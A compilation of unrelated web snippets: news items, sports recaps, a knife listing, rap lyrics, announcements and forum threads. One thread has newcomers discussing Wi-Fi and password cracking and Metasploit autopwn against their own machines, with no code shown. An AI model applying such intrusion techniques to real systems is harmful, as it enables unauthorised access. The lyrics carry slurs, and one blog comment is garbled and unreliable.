Rowan Jones says they can't be recycled. "When a plastic bag is put into a landfill, picked up by air currents, deposited into watersheds, when it rains it washes all those plastic bags into a stream or river." Those bags eventually make it out to sea to become part of a toxic soup of plastic products fouling the environment and threatening both fish and birds.
Oregon lawmakers failed to pass a statewide plastic bag ban during their last session. Environment Oregon is building support now for a legislative push in 2015.


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The Australian dollar tore to a fresh four-year peak on the yen today and held gains on the greenback, as investors took comfort from improving global economic prospects.
The dollar flew to 95.37 yen, its strongest since August 2008, having cracked key resistance at 95 yen. The advance on the yen was attributed to buying from Japanese buyers and models funds.
The dollar has now gained more than 17 per cent each since November on the belief that true reflation in Japan would require a much weaker yen.
Against the greenback, the Aussie held firm as rising equities helped sentiment toward risk assets and commodities.
The dollar fetched $US1.0472, from $US1.0435 in late local trade on Tuesday, well above a low of $US1.0384 hit early in the week.
The dollar was unmoved after Australian Prime Minister Julia Gillard called a national election in September. The timing of the poll is much as expected but announcing it so far ahead was a surprise.
Markets were now awaiting US GDP figures later in the day which are expected to show a marked slowing in the last quarter.
The Federal Reserve announces the outcome of its first policy meeting of the year overnight. It is widely expected to reaffirm its commitment to a super-easy policy until unemployment falls sharply, which could ease concerns about an early end to bond buying.
Australian government bonds futures slipped with the 10-year contract plumbing 96.495, its lowest since May. A break of 96.488, the 50 percent retracement of last year's March-May climb would see it test 96.272, its weakest since April.


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Data citation workshop series
After a successful run of DataCite workshops in 2012-13 we are running workshops around the country.
Our next workshop is on Frid 13 June 2014 at the University of Glasgow. Unfortunately it is sold out, but slides will be available later on our Workshop Archive page.
We will announce future workshops here, and on our Twitter feed @ScienceBL, so keep your eyes peeled!
We have produced a guide to working with us:
Working with the British Library and DataCite - PDF format 714.95 KB
If you have ideas for future workshops then please get in touch. We'd be happy to discuss the options with you.


text:
August 31, 2005
9/11 Online Community Support Group:
Remembrance and Resilience Around the Fourth Commemoration
Please join your peers in the 9/11 community for two upcoming online support chats, one the week prior to the fourth commemoration and one the week after. These chats will provide 9/11 victims' families, survivors, first responders, and others affected by the attacks at the Pentagon, the World Trade Center, and Shanksville the opportunity to discuss issues and topics of importance in a safe, supportive environment. Whether you're a sibling speaking at this year's ceremony in Lower Manhattan and would like to share your experience, or if you live away from the East Coast and are just looking to connect with others this time of year, we invite you to participate. As a reminder, all participants must be FOS11 members (please see below on how to register as a member for free). You can enroll in one or both chat sessions, but please enroll in each chat separately. Dr. Donna Gaffney, a licensed mental health professional and noted trauma specialist, will facilitate both chats.
Chat Session One: Wednesday, September 7, 8-9PM EDTEnroll in Session One:http://www.familiesofseptember11.org/chat2/membership_form.asp?chatID=90705
Chat Session Two: Thursday, September 15, 8-9PM EDTEnroll in Session Two:http://www.familiesofseptember11.org/chat2/membership_form.asp?chatID=91505
After you login, you will be able to choose an anonymous chat name (which will identify you in the chat room) and a password. Then, you will receive an email with a link to the chat. At 8PM on the day of the chat, please click on the link that is emailed to you and enter your chosen chat name and password. As a reminder, all participants must be 18 years of age or older and members of Families of September 11 (FOS11). To register as a FOS11 member, please click on the link at the bottom of this email. If you have any problems or questions, contact firstname.lastname@example.com or 212-575-1878.
Families of September 11 (FOS11) membership is free and open to all 9/11 families, survivors, first responders, and others interested in supporting our mission. Please forward this email to those who you think might like to participate.
To register as a member of FOS11, please visit:https://www.familiesofseptember11.org/register.aspx


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Camillus Barbarian USA Made Combat Fixed 3.75" 1095 Carbon Blade, Micarta Handle, Kydex Sheath - 19089
|Part Number:
|Camillus Knives
|Retail Price:
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CM19089: Barbarian
Camillus Knives
The Camillus Barbarian fixed blade knife is the bigger brother to the Choker and is more of a combat, survival knife. The drop point blade is full tang with saw serrations on the spine, the Micarta handle scales are removable with hex bits, and the sheath is molded Kydex with a belt clip pre-attached. These are well made, light weight fixed blades. Fit and finish are first rate. Grind lines are even and consistent. The all-American manufacture is a real plus. Proudly made in the USA.
Camillus...Unparalleled, Unprecedented and Unleashed.
Since 1876, Camillus Cutlery has been supplying the world with reliable, innovative and quality made knives that have survived the true test of time. As one of the oldest knife manufacturers, Camillus Cutlery has always answered the call for quality and will continue to do so with our hunting, fishing, sporting and tactical knives.
Craftsmanship with a worldwide following – it's been the Camillus way for over 130 years.
Camillus products are made of Titanium Bonded® cutlery-grade steel and are through-hardened to hold an edge.
At Camillus our legendary products are supported by an equally legendary promise. If your Camillus product fails to perform due to defects in materials or workmanship, we will replace it regardless of age. Normal wear, sharpening, industrial use or abuse, misuse or neglect is not covered. Defective products will be repaired, replaced or substituted with the same product or one of equal value. Send the product in its original box for proof of purchase along with an explanation of defect.Other consumer rights may vary from state to state. Replacement blades are excluded from the lifetime warranty.
- Black powder blade finish
- Hollow ground drop point blade
- Saw back
- Blade Length: 3.75"
- Blade Steel: 1095 High Carbon Steel
- Overall Length: 7.75"
- Handle Material: Black Canvas Micarta
- Sheath Material: Kydex with Tek-lok Clip Included
- Weight: 4.7 oz., 6.9 oz. with Sheath
- Made in the USA
UPC Code: 016162190893
An excellent hard use steel, 1095 is a primary choice for camping and larger fixed blade knives for its extreme toughness and ability to hold an edge. Corrosion resistance is very limited with this steel (it will rust) and most blades come with a coating to prevent premature rusting.
Waterproof, scratch resistant, and low friction. It will hold its shape and makes a great alternative to leather.
Micarta is a compressed layered composite sealed within a thermosetting plastic which creates a strong, attractive material that is impervious to water.
This product is USA born and raised.
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REPORT: Haylor split?
Listen to Taylor Swift on iHeartRadio | Listen to One Direction on iHeartRadio
It looks like it's another boy to never ever ever get back together with for Taylor Swift, and some more fuel for her songwriting fire as reports are flourshing that the pop power couple known as Haylor - Taylor Swift and Harry Styles - have broken up.
The couple was famous for their public outtings, and who can forget about that New Year's Eve kiss! After jetting off to the British Virgin Islands after the holiday, reports are saying that the couple got into a massive blow-out during their vacation.
One person vacationing in the same spot managed to catch Taylor going to customs in St. Johns ..alone on January 4th.
Didn't wanna tweet today but I have to... Saw Taylor Swift outside US Customs on St. John today! @taylorswift13 🎸🎤🎶 twitter.com/JHurls23/statu…— Jake Hurley ⚾ (@JHurls23) January 4, 2013
Taylor also sent out a sad cryptic tweet the very next day - of one of her very own song lyrics:
...'til you put me down.— Taylor Swift (@taylorswift13) January 6, 2013
Business Insider reports that the same day T-Swift left alone, Harry headed over to a private resort on Necker island, where he hung out in the hottub with some female fans all night, and was back in the U.K. the very next day.
Either the break-up was inevitable, or all the Haylor haters' songs worked like a rain dance.
Will there be a Haylor reunion? Probably never, like ever.
Photo Credit Getty Images


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Points of View Reference Center contains a balance of materials from all viewpoints, including more than 1,300 main essays, leading political magazines from both sides of the aisle, newspapers, radio & TV news transcripts, primary source documents and reference books.
The database provides more than 290 topics, each with an overview (objective background/description), point (argument), counterpoint (opposing argument), and Critical Thinking Guide.
Library service desk: 828-262-2820 or Ask a Librarian [1]
Access is restricted to ASU students, faculty, and staff.
Number of simultaneous users: unlimited; Terms of Use [2]


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Clara Sandler
- Voice
Soprano Clara Sandler, a native of Buenos Aires, Argentina, feels at home in a wide range of styles, from opera, oratorio and recitals, to zarzuela and tango. Critics have praised her singing as "both powerful and gentle, capturing a remarkable range of emotions", and described her voice as possessing "a radiantly rich and mellow tone quality." Sandler appeared as the featured soloist at the Boston premiere of Gorecki's Symphony of Sorrowful Songs, for soprano and orchestra, with the Boston Chamber Ensemble. With this orchestra she performed Wagner's Wesendonck Lieder, praised by The Boston Globe for her "dark and attractive timbre."
Ms. Sandler's operatic roles include Oscar in Un ballo in maschera, Nella in Gianni Schicchi, named "Best Opera" in 1999 by The Boston Globe, Yum-Yum in The Mikado, Elsie Maynard in Yeomen of the Guard, performed with the Boston Academy of Music, and Papagena in The Magic Flute with the New Bedford Symphony. She appeared in the world premiere of Daniel Pinkham's opera The Cask of Amontillado with Boston Modern Orchestra Project. Her oratorio credits include the soprano solos in Haydn's The Creation and Harmoniemesse, Schubert's Mirjams Siegesgesang, Bizet's Te Deum, Mendelssohn's Elijah, Mozart's Requiem and Coronation Mass, Bach's Magnificat and Cantata #80, and Handel's Messiah.
An avid researcher of music from Spain and Latin America, Sandler has presented many recitals in Boston, New York, Washington, DC, and in her native Buenos Aires. Her CD Alma Apasionada, Songs from Spain and Argentina was released by Newport Classic in 2006.
Clara Sandler was co-chair of the Voice department from 1997 to 2011. She is training to become a certified Alexander Technique practitioner under master teacher Tommy Thompson. She is a member of the Boston Arts Consort, which performs music from Spain in the Boston area.
B.M. Voice Performance, Magna cum Laude (Temple University College of Music), M.M. with Honors in Vocal Performance (NEC); faculty at Boston College.
Photo by Andrew Hurlbut


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SAINT LEO, Fla. –The Lions late inning rally came up short as the Montevallo University Falcons (2-1) took the third and decisive game of the series by a final score of 6-4. Saint Leo (1-2) allowed two unearned runs early that the Lions were unable to overcome.
"We didn't play as well as we did the first two night," Head Coach Sean O'Connor said postgame. "We kicked the ball around a little bit and we had some baserunning mistakes, and they didn't. They played solid baseball."
Frank Rawdow and Michael Revell each collected two hits on the afternoon in part of the Lions' nine-hit performance. Freshman Taylor Perez and Cole Stancil each collected their first hits of their collegiate career.
Brent Krauss allowed just four hits and no earned runs during six complete innings on the mound. Krauss tallied two strikeouts on the day while surrendering just one walk.
The Lions took the lead in the bottom of the first after Rawdow reached base on a double and scored following Revell's single up the middle. Following a Saint Leo error in the top of the fourth inning the Falcons were able to take a 2-1 lead after Montevallo's Zach Willoughby singled through the left side.
The Falcons scored four more in the eighth inning to extend their lead to 6-1, but the Lions weren't done yet. In the bottom of the eighth Blake Turner came to the plate with the bases loaded and crushed a triple into the left-center gap that cleared the bases and brought the Lions back within two.
Unfortunately, that's where the Lions' rally would end, however. Closer Cody Hughes was able to retire the final four Lions' batters to secure the series win for Montevallo.
Montevallo's Josh Clemen earned the win, while Saint Leo's Krauss collects the loss.
The Lions get back in action on Tuesday, Feb. 5 when they travel to Lakeland to take on Florida Southern in a non-conference matchup.
For more information on the Saint Leo baseball team, be sure to 'like' our Facebook page, here.


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hi all,
I have a problem, than is be dealt other times in the forum, but from the search I see that us they have not been solutions.
I have one card video of intel the 950, and in order to work, needed the drive "915resolution", and then the drive "xserver-xorg-video-intel"
i have a normal pc , not laptop , and my best resolution is 1440x900 (60/75)
the 915 resolution I have downloaded and and installed from slax, and the other drive I have downloaded it , but I do not succeed to install it.
I do not succeed because the file is "xserver-xorg-video-intel_2.1.1.orig.tar.gz"
(from one deb.search).
I am turning&toruning in google and slax and in bt wiki, but I do not find nothing that it can help me to understand as is settled….
… also 1 link is a very help for me.
i need only this drive for my card.
thanks to all of the patience.
hi all...
they are finally successful to unload to me and to create the file and i have compiled it from source.
I have used the "how-to… by Tremain Lea (on wiki)
of created to module from source.
I have created the package, and I have installed it.
and if i , in terminal , print the command
"Slapt-get --installed"
xserver-xorg-video-intel-2.1.1-i386-1 [inst=yes]: Package created with checkinstall 1.5.3
in afther this process , I have tried to reconfigure X but without happening.
at this point , someone can indicate an just method to me of configuration of X please?
thanks to all.
____________-other mod___________
I make the last modification…
I have see that also unloading the *.deb and transforming it in *.lzm, after the installation does not change, the problem of the resolution exist.
I am enrolled to the mailinglist of "freedesktop", and if he changes something, I will write it on this forum….
hi and thanx to all.


text:
'o Sabres fans, he's still somewhat unknown. The 6-2, 220-pound stay-at-home defenseman, who was waived to Rochester after a one-week training camp, has only played one game with the Sabres so far this season. But fans who have seen him in Rochester will tell you the Sabres' defensive depth is in good hands. In fact, many would argue the organization's fifth or sixth best Dman is in the Flower City – not the Queen City.'
Pardy's Presence Could Allow Sabres to Make a Move
February 17, 2013 Submitted by
Via: WGR-AM


text:
Media ignored, mischaracterized Pelosi's account of Bush query on federal response to Katrina: "What didn't go right?"
Numerous media outlets have mischaracterized or ignored entirely House Democratic Leader Nancy Pelosi's (D-CA) account of how, during a conversation with her at the White House, President Bush allegedly demonstrated that he was, in Pelosi's words, "oblivious" to the federal government's failures in responding to the threat and subsequent destruction caused by Hurricane Katrina.
As outlets such as the Associated Press [1] and Scripps Howard News Service [2] have reported, Pelosi said at a September 7 press conference that in a meeting with Bush the previous day, she had pressed him on whether he would fire Federal Emergency Management Agency (FEMA) director Michael D. Brown because of "all that didn't go right last week [in New Orleans]." According to Pelosi, Bush replied: "What didn't go right?" Reporting the exchange, Pelosi described Bush as "oblivious, in denial, [and] dangerous."
Pelosi's full account, as aired on the September 7 edition of the CBS Evening News:
PELOSI: When I said to the president that he should fire Michael Brown, he said, "Why would I do that?" I said, "Because of all that went wrong, with all that didn't go right last week." And he said, "What didn't go right?" Oblivious, in denial, dangerous.
But other media, including The New York Times [3], The Washington Post [4], and The Wall Street Journal [5] (subscription required), mischaracterized Pelosi by reporting her description of Bush as "oblivious" and "dangerous," but omitting her report of their exchange or any indication of what had prompted her assessment.
For example, Adam Nagourney and Carl Hulse reported in the September 8 New York Times article:
From Democratic leaders on the floor of Congress, to a speech by the Democratic National Committee chairman at a meeting of the National Baptist Convention in Miami, to four morning television interviews by Senator Hillary Rodham Clinton, Democrats offered what was shaping up as the most concerted attack that they had mounted on the White House in the five years of the Bush presidency.
"Oblivious. In denial. Dangerous," Representative Nancy Pelosi, Democrat of California and the House minority leader, said of President Bush as she stood in front of a battery of uniformed police officers and firefighters in a Capitol Hill ceremony that had originally been scheduled to commemorate the fourth anniversary of the Sept. 11 attacks.
"Americans should now harbor no illusions about the government's ability to respond effectively to disasters," she said. "Our vulnerabilities were laid bare."
Still other media ignored the press conference entirely. For example, unlike the CBS Evening News, neither ABC's World News Tonight nor the NBC Nightly News mentioned Pelosi on their September 7 newscasts. The Los Angeles Times also failed to make any mention of Pelosi's September 7 remarks.
CNN, Fox News, and The Washington Times also reported Pelosi's comments, though they offered comments only on Pelosi's conduct and not Bush's. After airing Pelosi's retelling of her conversation with Bush on the September 7 edition of CNN's The Situation Room, CNN congressional correspondent Ed Henry repeated for emphasis not Bush's question suggesting "oblivious[ness]" to Pelosi but, rather, Pelosi's subsequent remark: "Nancy Pelosi there, suggesting that the commander in chief is dangerous to the American people." Henry then noted Republican National Committee chairman Ken Mehlman's "tough statement" in response, concluding that "there's real partisanship digging in here."
On the September 7 edition of Fox News' Special Report with Brit Hume, Fox News congressional correspondent Brian Wilson preceded a clip of Pelosi with a comment that also focused on Pelosi rather than Bush. "Nancy Pelosi is so angry, she did something quite unusual in official Washington: She recounted for reporters her private conversation with the president," Wilson said.Similarly, The Washington Times reported in a September 8 article [6] that Pelosi "lashed out at Mr. Bush ... taking the unusual action of recounting her private conversation with the president."
According to The Washington Times report, written by Bill Sammon and Stephan Dinan, White House press secretary Scott McClellan disputed Pelosi's account of her conversation with Bush:
Asked whether Mrs. Pelosi's version of her conversation with Mr. Bush was an "accurate portrayal," Mr. McClellan replied: "No, it's not." He said, "The president was just wanting to know what she was most concerned about."
After McClellan again stated in a September 8 White House press briefing [7] that Pelosi's account was "not an accurate characterization" of her conversation with Bush, and CNN anchor Kyra Philips relayed McClellan's version of events to Pelosi on the September 8 edition of CNN's Live From..., Pelosi reiterated her account of the meeting with Bush and said of McClellan's response: "That's absolutely not true. Mr. McClellan wasn't there, so he couldn't possibly know."
- Posted In
- Environment & Science [8]
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- Hurricane Katrina [9]


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AmfAR Gala: A Star-Studded Fundraiser
Kicking off the Fall 2012 New York Fashion Week, some of Tinseltown's hottest celebrities were in the house for the amfAR New York Gala last night (February 8).
Super sexy stars like Lindsay Lohan, Heidi Klum, and Leighton Meester got all gussied up for the fancy affair, held at Cipriani Wall Street.
Also in attendance were flirty females such as Sarah Jessica Parker, Erin Heatherton, Jennifer Hudson, Julianne Moore, Cindy Crawford, and Rose Byrne.
Representing the gents, "Twilight" stud Kellan Lutz worked his magic for the camera, as did designer Roberto Cavalli.


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What? There's a sale on vegan tattoos?!
Welcome to Portland, Ore. Home to microbreweries, a vegan strip mall and strip clubs, craft coffee, hipsters, farmers markets and tattoos.
Yep, tattoos. And it's Portland, so of course there are vegan tattoo parlours. Of course.
What makes a tattoo parlour vegan, you ask? They don't use animal bone charcoal-based black ink or animal glycerin. They do use plant-based products where they can, while still adhering to the law and putting our safety first.
Our new favorite tattoo parlour that uses vegan inks is Skeleton Key Tattoo. Centrally located on SE Hawthorne & 17th, the owner Ximena is the awesomest lady this side of the Pacific.
She graciously humored the three of us organizer gals and, with only a few days' notice, gave us each a beautiful beautiful beautiful beet tattoo.
Ahhhhhh So COOL!!!
It looks so good I want to eat it.
Love this tattoo!!
The ever-adorable Jess, with her ever-adorable beet:
And for the camera-shy Michele, I present a game we like to call, "Where's the Beet?"
There's the beet!
The shop itself is clean, stocked with Good Earth Lollypops, and open for walk-ins and appointments. Four tattoo artists are on site, each with their own specialty (pet portraiture, anyone?).
So how is this relevant to you, dear Vida Vegan Con speakers, sponsors and attendees?
During the week of Vida Vegan Con, from Wednesday August 24 through Monday August 29, Skeleton Key is offering a 15% discountto all y'all for whatever vegetable/cat-shaped tattoo dreams you may have. All you gotta do is bring your badge or otherwise confirm that you're an official attendee, meet the $65 minimum, and after that the sky's the limit and the world is your vegan oyster. (Bonus—they're now open until 2am Thursday through Sunday—late-night post-vegan-corndog tattoos: Wahooo!)
Skeleton Key Tattoo
1729 SE Hawthorne Blvd
(503) 233-4292
~Make your appointment now!~
11 thoughts on "What? There's a sale on vegan tattoos?!"
So rad! Looks great guys!
[…] <—I gotta tattoo! […]
…we may know when obadi has ctmeiotmd ElvisSide when you comes to screen rested or very upset & introverted with "rested remorse".~several times over the 5 years since we set up this dog base I had to deal with these birds trying to peck seeds from the rain trough and pecking holes in the walls at first light (will include proof in future video) to try and eat ants in the wall; when done they would build nest and have young, if I didn't patch hole soon, I would have to wait for hatchling
so, camera shy Michele – when is the unveiling?
That is SO cute that you got matching tattoos. 😀
[…] Key Tattoo: home of the 15% Vida Vegan discount, Vegan owned & […]
[…] an appointment at Skeleton Key for my lucky 13 tattoo. Ximena, the owner, is the one who did our Vida Vegan beet tattoos, and she's an absolute sweetheart. Her shop is full of fantastic artists, and if you're […]
[…] remember last time, when we announced a sale on vegan tattoos? Well, get ready for round […]
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A site that provides educational games and quizzes about the geography of Europe! Continue reading
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text: the errors "error: lvalue is required as left operand of assignment" are simply that because you cannot set a function as a lvalue. i dont have the code handy now but if you could post what those lines were with netdev->priv that woudl be helpful. remember that netdev_priv() is a function, netdev->priv refers to a variable (well pointer to a variable etc), while you can set an object's variable, you cant set a value to a function.


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Return to site home page
The manufacturer of office furniture and organic workspaces recently announced that all of its U.S., Shanghai and Pune manufacturing facilities, as well as the company's global headquarters, have achieved zero waste to landfill status.
HOLLAND, MI – Haworth Inc. recently announced that all U.S., Shanghai and Pune manufacturing facilities, as well as the company's global headquarters, have achieved zero waste to landfill status. Preliminary results show that Haworth's U.S. manufacturing facilities have gone from 4.6 million pounds of landfill waste in 2008 to zero in 2009.
"Haworth is extremely proud of this accomplishment but we also recognize that this is a sustainable journey," says John Mooney, Haworth chief financial officer and executive sponsor of sustainability. "Zero waste to landfill is a bold step toward our zero waste goals—a concept that affects all aspects of our business."
Haworth's U.S. facilities still generate approximately .93 million pounds of waste that is turned into waste-to-energy. Global Haworth facilities that are not yet at zero waste to landfill status will do so by 2011. Additional information on Haworth's sustainability initiatives can found in the company's sustainability report.
Haworth Inc. is a global leader in the design and manufacture of office furniture and organic workspaces, including raised access floors, moveable walls, systems furniture, seating, storage and wood casegoods. Family-owned and privately held, Haworth is headquartered in Holland, Michigan, and serves markets in more than 120 countries through a global network of 600 dealers. Visit www.haworth.com or www.organicworkspaces.com to learn more.


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Report Date: Sunday Oct 4, 2009 Time: 9:45 am
Wave Height: Waist to Stomach (3+ ft)
Conditions: Clean
Stoke Factor: Fun - paddle out
waist glass; fun- get out there!!!
uhhhh yeah, good call... try knee high and incredibly weak and 1ft. nowhere close to 3ft. i don't know what you're looking at but it's not the atlantic ocean


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{"Gangsta boogie, gangsta boogie! Gangsta boogie.."}
[Hook : will.i.am]
(Compton, Compton, Compton)
It's the home of America's gangsta rap
The place of danger where
The {"Gangsta boogie"}, the {"gangsta boogie!"}
The {"Gangsta boogie"}, the {"gangsta boogie!"}
Where the cops is crooked, and them bitches is killas
And them niggas hold it down like black guerillas, where
The {"Gangsta boogie"}, the {"gangsta boogie!"}
The {"Gangsta boogie"} - nigga nigga nigga I'm from (Compton)
[Verse 1 : The Game]
Yeah, The Game on fire, check the gold wires
Hip-Hop on lock like some muh'fuckin pliers
Me and Will.I.Am yeah we take niggas higher
Niggas talkin shit get your fuckin mouth wired
Walking through Compton, Eazy still alive
Raider hat to the back throw your dubs in the sky
My flowetry wicked, sit back while I kick it
And do it like Dre did it, N.W.A. did it
I cook crack like the first nigga that ever bought a brick
From a ese, nigga I could write an essay
About all the gangsta niggas that I seen lowridin
In they Chevys with a bitch riding shotgun reppin L.A
Crips, Bloods, homes going loco
My Glock to me, is like Ice Cube and Yo-Yo
Sitting in a low-low, on chrome spinners
Nobody drop nothing this winter, nigga I'm from
[Verse 2 : Hook]
[The Game]
Nigga I smoke chronic, ain't shit changed
Since Young MC and Eazy-E was rapping "We All in the Same Gang"
Some niggas chain hang, other niggas gangbang
I do both cause I'm the king of the motherfucking West coast
Kick the door open, Will let's go
Flow like Esco', New York niggas say I'm the best yo
Hard like Timbos, blowing on indo
Niggas try to play me, get stretched out like a limo
I was chopping crack when Dre was banging my demo
And all you old niggas is washed up like N.O
Don't take it the wrong way, I got love for my kinfolk
Can I get a moment of silence Will bang the instrumental
I spit for my niggas in the line-up
That'll never see the sun again, so I close my blinds up
First album sold them out, Impalas rolled them out
Cause the whole motherfucking world wanna know about
[Hook] - 2X
[Verse 3 : The Game]
Welcome to the city of G's
Where we eat fried chicken, rice, and black-eyed peas
Fans got us in-the-scope, like Jimmy Iovine
Cause we Ruthless, like Will before the Black Eyed Peas
Fuck all rappers, look at all the hate I see
I'm sick, you can't get rid of me, I'm HIV
Nigga get another job, hip-hop is not hiring
I'm the reason Dre feel comfortable retiring
I just might put out "Detox" myself
Smoke so much, I check in detox myself
One man army, took out Reeboks myself
45. in my khakis gotta watch my health
I'm so hard nigga, Glock 17 quick draw nigga
Like the old me, 17, sippin malt liquor
All black khaki suit, all black Converse
[Hook] - 2X
Sampling "Real Muthapuckkin G's" By Eazy + "Gangsta Boogie" by Chicago Gangsters,Will.i.am returns to his hood sound after years with the Black Eyed Peas while Game raps over the sick instrumental reppin his hometown


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The goal of The Career Center is student success. By working together, we can ensure that the transition from student to a member of the work force is as seamless as possible.
Here are some of the services we offer:
For more information on these services, as well as other opportunities, contact The Career Center at 410-617-2232 or email@example.com.


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text:
Shipley helps Silver Hawks sweep
D-backs first-rounder scatters two hits over seven innings
By Curt Rallo / Special to MiLB.com | September 5, 2013 10:41 PM ET
SOUTH BEND, Ind. -- Braden Shipley stepped back and took a deep breath in the third inning.
It would turn out to be a last gasp for Great Lakes.
Shipley, Arizona's first-round pick (15th overall) in the 2013 Draft, allowed an unearned run on two hits over seven innings to help the Class A Silver Hawks sweep the Loons in Midwest League first-round playoff action Thursday.
The right-hander struck out four and walked three.
South Bend beat Great Lakes, 5-1, to take the best-of-3 series, 2-0, after Great Lakes had won the regular-season series, 10-5.
Shipley did have a couple missteps, specically consecutive errors on bunts in the third inning that helped load the bases. A groundout by Aaron Miller scored a run and the 6-foot-3, 190-pounder ended the threat by getting Tyler Ogle to hit into a double play.
"I knew that I had messed up on a couple of bunts," said the native of Medford, Ore. "There was nothing to be worried about. I wasn't getting hit hard. Guys weren't hitting it in the gaps."
But Shipley did realize that the moment was a turning point, one way or the other.
"The game could have gone totally sideways right there," he said. "I was really proud of myself for stepping back and breathing a little bit and bearing down. That's part of my competitiveness on the mound. I've always been like that, doing my best to limit an inning.
"I just took a deep breath and knew what I needed to do. In that situation, you're going to give up one run to get an out. I got one out, and then when I had one out, I knew the next thing I needed to do was get a ground ball, and that's what I did, got that double-play ball. That's got to be your thought process. You have to stay composed and your team needs you to be like that as well."
South Bend pitching coach Wellington Cepeda said Shipley's mental toughness, in addition to his talent, checks all of the boxes for a first-round pick.
"Braden has great overall stuff," Cepeda said. "He has a plus changeup that he can command. He can throw it for a strike in any count. In the first inning, he wasn't able to throw a strike with his fastball, so he went to the changeup right away. He had another weapon in his pocket, and he brought it out. He got out of a jam there, and that was huge.
"Then in the third inning, after he made the errors on the bunts, he was able to minimize the damage. Bases loaded, nobody out, he never panicked. He got a fielder's choice groundout, and then a double play."
Cepeda appreciates Shipley's lockdown demeanor on the mound.
"Braden is a really professional kid," Cepeda said. "He works hard in his sidework, prepares himself really well. I probably don't have a starting pitcher in our rotation who prepares and gets focused like Braden does. He has a game plan and then he attacks."
South Bend's Socrates Brito hit Great Lakes hard early in the game and then even harder later.
The outfielder slid hard to break up a double-play attempt in the first as South Bend grabbed a 1-0 lead. Then the 6-foot-2, 197-pound left-handed hitter swatted a two-run homer in the fifth. Brito had only hit two homers in the regular season (one in the opener and one in the finale).
South Bend will meet Fort Wayne in the best-of-3 Eastern Division Championship Series beginning Saturday.
In other action:
Fort Wayne 9, Bowling Green 5
The TinCaps, who lost the regular-season series,10-5, stunned the Hot Rods with a 2-0 sweep in the first-round series. Fort Wayne starting pitcher Zach Eflin allowed three runs on five hits over six innings. He struck out five and walked one.
Eflin was a first-round pick (33rd overall) by the Padres in 2012 . "It was very motivating when we found out that we were going to be playing Bowling Green," he said. "They've been tough the whole year to beat. They're the team that's going to help you move up in the organization, because you're competing against great talent. Every single one of their batters is very talented. You really have to be effective and learn how to pitch to a team like that. Those are the guys you want to go after.
"This was awesome. I like to go into a game thinking it's just another game, but I understand that there's a lot on the line. I just tried to stay relaxed and as calm as I could." Box score »
Beloit 6, Clinton 2
Dylan Covey allowed two runs -- one earned -- on three hits over six innings and John Wooten recorded two RBIs as the Snappers swept their first-round series with the LumberKings.
Tyler Marlette went 2-for-4 and Dario Pizzano plated one run and scored another for Clinton. Gameday box score »
Quad Cities 4, Cedar Rapids 2
Rio Ruiz homered and scored twice as the River Bandits advanced to the second round of the playoffs.
Teoscar Hernandez plated two runs out of the No. 2 spot and Roberto Pena doubled, drove in a run and scored once. Quad Cities starting pitcher Joe Bircher surrendered one run on three hits while striking out four batters over five innings. Box score »
Curt Rallo is a contributor to MiLB.com. This story was not subject to the approval of the National Association of Professional Baseball Leagues or its clubs.View More


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Utility bills for electricity now include one total price for generation, transmission, and distribution. Deregulation means the generation portion of the electricity service will be open to competition. Your local utility company will remain responsible for providing maintenance, customer services, and billing for the transmission and distribution of your electric.
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Anderson, S.C. - Ron Patterson continued to swing a hot stick, going 4-for-4 in the Tornados' SAC opener on the road against Anderson University, but the Trojans plated 10 runs in the first four innings as Anderson won at Memorial Stadium on Friday evening, 11-2.
Zack Simpson (1-1) suffered his first loss of the season, going 2.2 innings while giving up six runs as the Tornados (4-4, 0-1 SAC) fell for the first time in SAC action this season. T.J. Estes (2-1) went seven innings in getting the win for the Trojans (7-5, 1-0 SAC), scattering five hits, while striking out six.
The Tornados struck first in the top of the first. Patterson led off the game with a double to left field. Steele Myers, in his first game back from a wrist injury, was hit by a pitch to give the Tornados runners on first and second with none out. Ethan Pressley fouled out down the right field line, advancing Patterson to third, but Myers was thrown out at second base trying to advance on the play, giving the Tornados two outs. Zack Merriken brought Patterson home with a base hit up the middle, giving Brevard the 1-0 lead.
Anderson tied it up in the bottom half of the inning as Zack Reeves led off with a double down the left field line. A grounder on the right side moved Reeves over to third, where he scored on Blake May's grounder to the shortstop to even up the score.
The Trojans would go on to score 10 unanswered runs, plating two in the second, three apiece in the third and the fourth, and a run in the bottom of the seventh to take control of the game.
Brevard would add a run in the eighth as Brett Brinson led off with a double down the left field line and Patterson brought him home with a base hit, but the Trojans answered with a final run in the bottom half of the inning to close out the first game of the three game set, 11-2.
The Tornados and Trojans will close out the weekend series tomorrow afternoon at Memorial Stadium, with first pitch of the doubleheader coming at 1 p.m.


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Post some of the nmap results here so we can have a look. I'd recommend against running an automated exploit tool when starting out. You should learn about the services you have and look for specific weaknesses.
First of all i wanted to thank for such a great thing as backtrack is that let me know how easy was to get into my wireless network and how easy is to break my windows password.
After learning the WEP/WPA breaking and some minor things I was trying to understand the exploit attacks. After watching some of pureh@te's videos I've realized that fast-track should be most easy to use. Well I was sadly mistaken coz it doesn't work for me. All the testing I was making at my private WLAN on my own and family computers + one try on friend's LAN with his allowance. The thing is after I shut down the firewalls nmap finds plenty of interesting ports open. Thus i launch fast-track with updated metasploit, autopwn option and sqlite 3 and it finds sometimes even around 100 possibilities (while I found on the pureh@te's movie it was i think 27 and after that he had few shells) but it goes all [-]exploit failed no matter how many of them he finds and on the end i have always 0 shells. All the machines are running with winXP with different updates. One system has not been updates for ages and it still doesnt work for me. I would just like to know if it's my bad luck or my lack of knowledge (I believe so). Could you please post me the links I should read in this case?
I know my both pentesting and English knowledge is extremely weak but that's why I'm posting on Newbie Area
Thanks in advance
Post some of the nmap results here so we can have a look. I'd recommend against running an automated exploit tool when starting out. You should learn about the services you have and look for specific weaknesses.
It is my experience that Fast track is only going to work on an unpatched system. Try partitioning 10-20 gigs of HD or make a virtual machine to dedicate to an unpatched box and I think you will be more successful.
definitely a patched box. Following 0tt0v0nc4t's idea, get yourself a copy of windows 2000 and you will pulling up a view shells.
I'm piggy backing Metasploit's Exploit repository, when exploits come out, especially for Metasploit, they are generally either already patched or patched a few days after its released. I hate to tell you this, but 0 days aren't as easy to come by on a everyday basis.


text:
Remember me
Forgot your password?
"When you have Landon Donovan and David Beckham, you're not that bad off. We have some good players to build this team around. We can get better and we're capable of getting enough points and
qualifying for the playoffs. ... This year you can't do anything [with the roster]. That's basically a fact. Down the road, we're going to use this year to evaluate the team on the field and off and
see what kind of things we can do to make it better." -- New Los Angeles Galaxy coach Bruce Arena. (MLSnet.com) ...More


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Admissions · Advising · Catalog · Financial Aid · Registrar · Scholarships
AVP for Student Success & Multicultural Initiatives
